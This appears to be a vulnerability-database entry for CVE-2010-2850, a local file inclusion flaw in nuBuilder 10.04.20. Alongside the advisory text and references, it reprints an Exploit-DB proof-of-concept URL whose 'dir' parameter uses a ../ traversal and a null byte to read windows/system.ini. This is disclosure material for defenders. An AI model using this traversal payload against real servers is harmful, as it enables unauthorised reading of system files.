CVE-2010-2850
Description
Directory traversal vulnerability in productionnu2/fileuploader.php in nuBuilder 10.04.20, and possibly other versions before 10.07.12, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the dir parameter.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
nuBuilder 10.04.20 - Local File Inclusion
------------------------------------------------------------------------
Software................nuBuilder 10.04.20
Vulnerability...........Local File Inclusion
Download................http://sourceforge.net/projects/nubuilder/files/
Release Date............7/5/2010
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://cross-site-scripting.blogspot.com/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------
--Description--
A local file inclusion vulnerability in nuBuilder 10.04.20 can be
exploited to include arbitrary files.
--PoC--
http://localhost/nubuilder-10.04.20/productionnu2/fileuploader.php?dir=../../../../../../../../windows/system.ini%00References
- http://cross-site-scripting.blogspot.com/2010/07/nubuilder-100420-local-file-inclusion.html
- http://packetstormsecurity.org/1007-exploits/nubuilder-lfi.txt
- http://secunia.com/advisories/40483
- http://www.nubuilder.com/nubuilderwww/change.php?changelog_id=14c3d1ea2a9fab
- http://www.osvdb.org/66006
- http://www.securityfocus.com/bid/41404
- http://www.vupen.com/english/advisories/2010/1726
- https://exchange.xforce.ibmcloud.com/vulnerabilities/60138
- http://cross-site-scripting.blogspot.com/2010/07/nubuilder-100420-local-file-inclusion.html
- http://packetstormsecurity.org/1007-exploits/nubuilder-lfi.txt
- http://secunia.com/advisories/40483
- http://www.nubuilder.com/nubuilderwww/change.php?changelog_id=14c3d1ea2a9fab
- http://www.osvdb.org/66006
- http://www.securityfocus.com/bid/41404
- http://www.vupen.com/english/advisories/2010/1726
- https://exchange.xforce.ibmcloud.com/vulnerabilities/60138
CWEs
CWE-22
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.